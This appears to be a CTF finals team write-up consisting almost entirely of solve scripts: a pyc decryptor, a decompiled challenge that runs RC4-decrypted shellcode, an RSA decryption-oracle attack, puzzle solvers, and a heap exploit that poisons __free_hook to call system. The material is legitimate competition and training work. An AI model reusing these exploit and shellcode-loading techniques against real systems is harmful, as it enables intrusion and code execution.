2023 XCTFfinals SU Writeup

import tinyaes
import zlib
 
CRYPT_BLOCK_SIZE = 16
 
# 从crypt_key.pyc获取key，也可自行反编译获取
key = bytes('HelloHiHowAreYou', 'utf-8')
 
inf = open('sign.pyc.encrypted', 'rb') # 打开加密文件
outf = open('sign.pyc', 'wb') # 输出文件
 
# 按加密块大小进行读取
iv = inf.read(CRYPT_BLOCK_SIZE)
 
cipher = tinyaes.AES(key, iv)
 
# 解密
plaintext = zlib.decompress(cipher.CTR_xcrypt_buffer(inf.read()))
 
# 补pyc头(最后自己补也行)

outf.write(b'\x6F\x0D\x0D\x0A\x00\x00\x00\x00\x70\x79\x69\x30\x10\x01\x00\x00')
 
# 写入解密数据
outf.write(plaintext)
 
inf.close()
outf.close()

import hashlib as 沈阳
import base64 as 杭州
import ctypes as 蚌埠

def main():
    蚌埠.windll.kernel32.VirtualAlloc.restype = 蚌埠.c_void_p
    福建 = input('%e6%82%a8%e7%9a%84%e8%be%93%e5%85%a5%ef%bc%9a')
                 #您的输入：
    天津 = '9K98jTmDKCXlg9E2kepX4nAi8H0DB57IU57ybV37xjrw2zutw+KnxkoYur3IZzi2ep5tDC6jimCJ7fDpgQ5F3fJu4wHA0LVq9FALbjXN6nMy57KrU8DEloh+Cji3ED3eEl5YWAyb8ktBoyoOkL1c9ASWUPBniHmD7RSqWcNkykt/USjhft9+aV930Jl5VjD6qcXyZTfjnY5MH3u22O9NBEXLj3Y9N5VjEgF2cFJ+Tq7jj92iIlEkNvx8Jl+eH5/hipsonKLTnoLGXs4a0tTQX/uXQOTMBbtd70x04w1Pa0fp+vA9tCw+DXvXj0xmX8c5HMybhpPrwQYDonx7xtS+vRIj/OmU7GxkHOOqYdsGmGdTjTAUEBvZtinOxuR7mZ0r9k+c9da0W93TWm5+2LKNR6OJjmILaJn0lq4foYcfD5+JITDsOD6Vg01yLRG1B4A6OxJ7Rr/DBUabSu2fYf1c4sTFvWgfMV8il6QfJiNMGkVLey1cBPSobenMo+TQC1Ql0//9M4P01sOiwuuVKLvTyDEv6dKO//muVL9S2gq/aZUBWkjj/I5rUJ6Mlt4+jsngmuke9plAjw22fUgz+8uSzn40dhKXfBX/BOCnlwWsMGAefAfoz/XAsoVSG2ioLFmlcYe/WBgaUJEoRUSyv73yiEOTVwIK6EPnDlwRgZZHx2toLu8udpEZ0aKGkex5sn7P8Jf9AbD4/EiQU+FdoJSxGorPSZGvrc4='
    北京 = 沈阳.md5('%e4%ba%91%e5%8d%97'.encode('utf-8')).hexdigest()
                    #云南
    重庆 = 杭州.b64decode(天津)
    河南 = b''
    北京_len = len(北京)
    广州 = list(range(256))
    j = 0
    #初始化s盒
    for i in range(256):
        j = (j + 广州[i] + ord(北京[i % 北京_len])) % 256
        广州[i] = 广州[j]
        广州[j] = 广州[i]
    山东 = 陕西 = 0

    for 河北 in 重庆:
        山东 = (山东 + 1) % 256
        陕西 = (陕西 + 广州[山东]) % 256
        广州[山东] = 广州[陕西]
        广州[陕西] = 广州[山东]
        河南 += bytes([
            河北 ^ 广州[(广州[山东] + 广州[陕西]) % 256]])

    四川 = 蚌埠.create_string_buffer(福建.encode())

    黑龙江 = 蚌埠.windll.kernel32.VirtualAlloc(蚌埠.c_int(0), 蚌埠.c_int(len(河南)), 蚌埠.c_int(12288), 蚌埠.c_int(64))
    蚌埠.windll.kernel32.RtlMoveMemory(蚌埠.c_void_p(黑龙江), (蚌埠.c_ubyte * len(河南)).from_buffer(bytearray(河南)), 蚌埠.c_size_t(len(河南)))
    辽宁 = 蚌埠.windll.kernel32.CreateThread(蚌埠.c_int(0), 
                                        蚌埠.c_int(0), 
                                        蚌埠.c_void_p(黑龙江), #执行的代码
                                        蚌埠.byref(四川),      #参数w
                                        蚌埠.c_int(0), 
                                        蚌埠.pointer(蚌埠.c_int(0)))
    蚌埠.windll.kernel32.WaitForSingleObject(蚌埠.c_int(辽宁), 蚌埠.c_int(-1))
    if 四川.raw == b'%db%1b%00Dy\\C%cc%90_%ca.%b0%b7m%ab%11%9b^h%90%1bl%19%01%0c%eduP6%0c0%7f%c5E-L%b0%fb%ba%f6%9f%00':
        
        print('%e6%98%af%e7%9a%84%ef%bc%81%e4%bd%a0%e5%be%97%e5%88%b0%e4%ba%86%ef%bc%81')
        #是的！你得到了！
        return None
    None('%e4%b8%8d%ef%bc%8c%e5%86%8d%e5%b0%9d%e8%af%95%e6%9b%b4%e5%a4%9a%e3%80%82 %ef%bc%88%e7%ac%91%e8%84%b8%e7%ac%a6%e5%8f%b7%ef%bc%89')
    #不，再尝试更多。 （笑脸符号）
if __name__ == '__main__':
    
    main()

from Crypto.Cipher import ARC4
import base64
import hashlib

cipher = '9K98jTmDKCXlg9E2kepX4nAi8H0DB57IU57ybV37xjrw2zutw+KnxkoYur3IZzi2ep5tDC6jimCJ7fDpgQ5F3fJu4wHA0LVq9FALbjXN6nMy57KrU8DEloh+Cji3ED3eEl5YWAyb8ktBoyoOkL1c9ASWUPBniHmD7RSqWcNkykt/USjhft9+aV930Jl5VjD6qcXyZTfjnY5MH3u22O9NBEXLj3Y9N5VjEgF2cFJ+Tq7jj92iIlEkNvx8Jl+eH5/hipsonKLTnoLGXs4a0tTQX/uXQOTMBbtd70x04w1Pa0fp+vA9tCw+DXvXj0xmX8c5HMybhpPrwQYDonx7xtS+vRIj/OmU7GxkHOOqYdsGmGdTjTAUEBvZtinOxuR7mZ0r9k+c9da0W93TWm5+2LKNR6OJjmILaJn0lq4foYcfD5+JITDsOD6Vg01yLRG1B4A6OxJ7Rr/DBUabSu2fYf1c4sTFvWgfMV8il6QfJiNMGkVLey1cBPSobenMo+TQC1Ql0//9M4P01sOiwuuVKLvTyDEv6dKO//muVL9S2gq/aZUBWkjj/I5rUJ6Mlt4+jsngmuke9plAjw22fUgz+8uSzn40dhKXfBX/BOCnlwWsMGAefAfoz/XAsoVSG2ioLFmlcYe/WBgaUJEoRUSyv73yiEOTVwIK6EPnDlwRgZZHx2toLu8udpEZ0aKGkex5sn7P8Jf9AbD4/EiQU+FdoJSxGorPSZGvrc4='

cipher = bytes(cipher.encode('utf-8'))

arr = base64.b64decode(cipher)    

key = hashlib.md5('云南'.encode('utf-8')).hexdigest()

key = bytes(key.encode('utf-8'))

cipher = ARC4.new(key)

p = cipher.decrypt(bytes(arr))

print(list(p))

from pwn import *
from hashlib import *
import string
import itertools
#context.log_level="debug"

table = string.ascii_letters + string.digits

io = remote('172.35.3.80',11410)
def proof():
    s1 = io.recvuntil(b'[+] Plz tell me XXXX:')
    p1 = s1.find(b'X+')
    p2 = s1.find(b')')
    p3 = s1.find(b'== ')
    s = s1[p1+2:p2]
    h = s1[p3+3:-1]
    h = h.decode()
    print(h)
    print(s)
    for i in itertools.product(table, repeat=4):
        d = ''.join(i).encode()
        dd = d + s
        #print(dd)
        if sha256(dd).hexdigest() in h:
            print(d)
            io.sendline(d)
            #io.interactive()
            break
proof()
io.recvuntil(b'There is your map of maze:\n')

maze = []
for i in range(750):
    row = io.recvline()[13:].split()
    row = [int(i) for i in row]
    #print(row)
    #print(len(row))
    maze.append(row)

print(len(maze))
print(len(maze[0]))
arr = maze

brr = [[0] * 750 for i in range(0, 750)]

for i in range(0, 750):
    for j in range(0, 750):
        brr[i][j] = arr[i][j]


for i in range(1, 750):
    for j in range(0, 750):
        if j == 0:
            arr[i][j] += max(arr[i- 1][j], arr[i-1][j+1])
        elif j == 749:
            arr[i][j] += max(arr[i-1][j], arr[i- 1][j-1])
        else:
            arr[i][j] += max(arr[i-1][j - 1], max(arr[i-1][j], arr[i-1][j+1]))

print(max(arr[749]))

crr = []
idx = arr[749].index(max(arr[749]))
crr.append(idx)

def has_duplicates(lst):
    return len(lst) != len(set(lst))

for i in range(748, -1, -1):
    if idx == 0:
        if arr[i][idx] > arr[i][idx+1]:
            idx = idx
        else:
            idx = idx + 1
        crr.append(idx)
    elif idx == 749:
        if arr[i][idx] > arr[i][idx-1]:
            idx = idx
        else:
            idx = idx - 1
        crr.append(idx)
    else:
        if arr[i][idx] > arr[i][idx+1]:
            m = idx
        else:
            m = idx + 1
        if arr[i][m] > arr[i][idx-1]:
            m = m
        else:
            m = idx - 1
        idx = m
        crr.append(idx)

crr = crr[::-1]
print('111',io.recvline())

res = ''
sum = 0
for i in range(0, 750):
    res = res + ' ' +str(crr[i])
print(f'res = {res}')
io.sendline(res[1:].encode())
print(io.interactive())
# flag{Y0u_@rE_tHe_G@mE_M@aSter_0f_m@Ze}

import numpy as np
from pwn import remote,context
import hashlib

def get_md5(matrix):
    # 分割成一个1*14和7*14的矩阵
    row1, row2 = matrix[0:1, :], matrix[1:, :]

    # 计算每一行与第一行差的和的绝对值
    result = np.sum(np.abs(row2[1:] - row2[0]), axis=1)
    result = np.array(result)
    min_value = np.min(result)

    # 获取最小值在数组中的位置
    min_indices = np.where(result == min_value)[0] + 1
    # print("最小值{}在result中的位置是矩阵第{}行".format(min_value, min_indices + 1))

    #获取最小值所在矩阵行的值
    row = row2[min_indices]
    # print(row)

    # 找到row1中值为0的位置
    zero_indices = np.where(row1 == 0)

    # 将0位置替换成row中对应位置的值
    row1[zero_indices] = row[zero_indices]
    # print(row1)
    flag = ''.join([str(i) for i in row1[0]])
    # print(flag)
    flag_md5 = hashlib.md5(flag.encode()).hexdigest()
    return flag_md5

while True:
    #context.log_level = "DEBUG"
    r = remote('172.35.3.120',11409)
    r.sendlineafter(b"please?", b"1234")
    for i in range(10):
        r.sendlineafter(b"Please input your good number:", b"0")

    for i in range(20):
        r.sendlineafter(b"Please input your good number:", b"3")
    # r.recvall()
    r.sendlineafter(b"Your answer is(Y/N):", b"y")
    r.recvuntil(b'beginmatrix')
    matrix = r.recvline().strip()
    matrix = r.recvline().strip().decode()
    matrix = matrix.split(',')
    matrix = [int(i.strip('[').strip(']').strip(' ').strip('[').strip(']')) for i in matrix]
    # print((matrix))
    matrix = np.array(matrix)
    matrix = matrix.reshape(8,14)

    r.sendlineafter(b'Now, what is your answer?',get_md5(matrix))
    c = r.recvline()
    if b'flag{' in c:
        print(c)
        break

from Crypto.Util.number import *
from pwn import *

e = 65537

sh = remote('172.35.3.154',10002)
n = int(sh.recvline().decode())
sh.recvuntil(b'>')
sh.sendline(b'1')
c = sh.recvline()
print(c)
c = c[19:-16].decode()
print(c)
c = int(c)

t = pow(2,e,n) * c % n
sh.recvuntil(b'>')
sh.sendline(b'2')
sh.sendline(str(t).encode())

m = sh.recvline()
print(m)
m = m[25:-48]

print(m)
print(long_to_bytes(int(m)//2))
# flag{9162ac59-fc92-4937-8fef-1669cddcaacf}

def Save_Data(self):
    #This is a default and optional function
    #Compress all data once rebuild the function's answer
    pwd=str(datetime.datetime.now())
    pass

from Crypto.Util.number import *

def Mul_loc_compute(x1, y1, x2, y2):
    mulx = x1 * y1 + x1 * y2 + x2 * y1
    return mulx

A0 = 28829613228241459
# 利用C中的掩码计算Y02
Y02 = 924422050091362838179268571917871 - 507036073644
A00 = 200254991086689
A01 = 200241552690281
A02 = A0 - A00 - A01
X00 = 200058430391504
X01 = 200401773940794
C02 = 924422050091355025836012334663090
# 这里需要去理解函数Mul_loc_compute，他接收的参数是Ai和Xi作为xi和yi
X02 = (C02 - A02 * X00) // (A02 + A00)
X0 = X00 + X01 + X02

B00 = 199957680670222
B01 = 200362172648094
B02 = Y02 - C02
B0 = B00 + B01 + B02
# 三段拼接
print(long_to_bytes(A0))
print(long_to_bytes(X0))
print(long_to_bytes(B0))

from pwn import *
import binascii
# context.log_level = 'DEBUG'
context.terminal = ['tmux','sp','-h']
libc = ELF('./libc-2.27.so')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
payload = ""
def menu():
    sh.recvuntil(">>> ")
def add(name,size):
    menu()
    sh.sendline("(define " + name + " (alloc " + str(size) + "))")
def free(name):
    menu()
    sh.sendline( "(free " + name + ")")
def show(name):
    menu()
    sh.sendline( "(showChunk " + name + ")")
    data = sh.recvuntil(b"\x7f")
    return data
def edit(name,off,content):
    menu()
    sh.sendline( "(editChunk " + name + " " + str(off) + " " + str(content) + ")")
while(1):
    sh = process("./haslang")
    # sh = remote("172.35.3.90", "9999")

    add("a",0x50)
    add("b",0x50)
    free("b")
    edit("b",0xa,0x00)
    free("b")
    edit("b",0xa,0x00)
    free("b")

    add("d",0x410)
    add("e",0x410)
    free("d")
    data= show("d")
    if(len(data) != 5):
        sh.close()
        log.info(data)
        continue
    libc_base = u64((b"\xa0" + data).ljust(8,b'\x00')) - 0x3EBCA0
    free_hook = libc_base + libc.symbols['__free_hook']
    system = libc_base + libc.symbols['system']
    bin_sh = 0x2f62696e2f7368 
    log.success("libc_base = " + hex(libc_base))
    pause()
    gdb.attach(sh)

    edit("b",0x0,0xd0)
    for i in range(6):
        edit("d",i,(((free_hook) >> (8*i)) & 0xff))
    
    add("c",0x50)
    add("c",0x50)
    add("c",0x50)
    for i in range(6):
        edit("c",i,(((system) >> (8*i)) & 0xff))
    for i in range(8):
        edit("a",6-i,(((bin_sh) >> (8*i)) & 0xff))
    free("a")
    sh.interactive()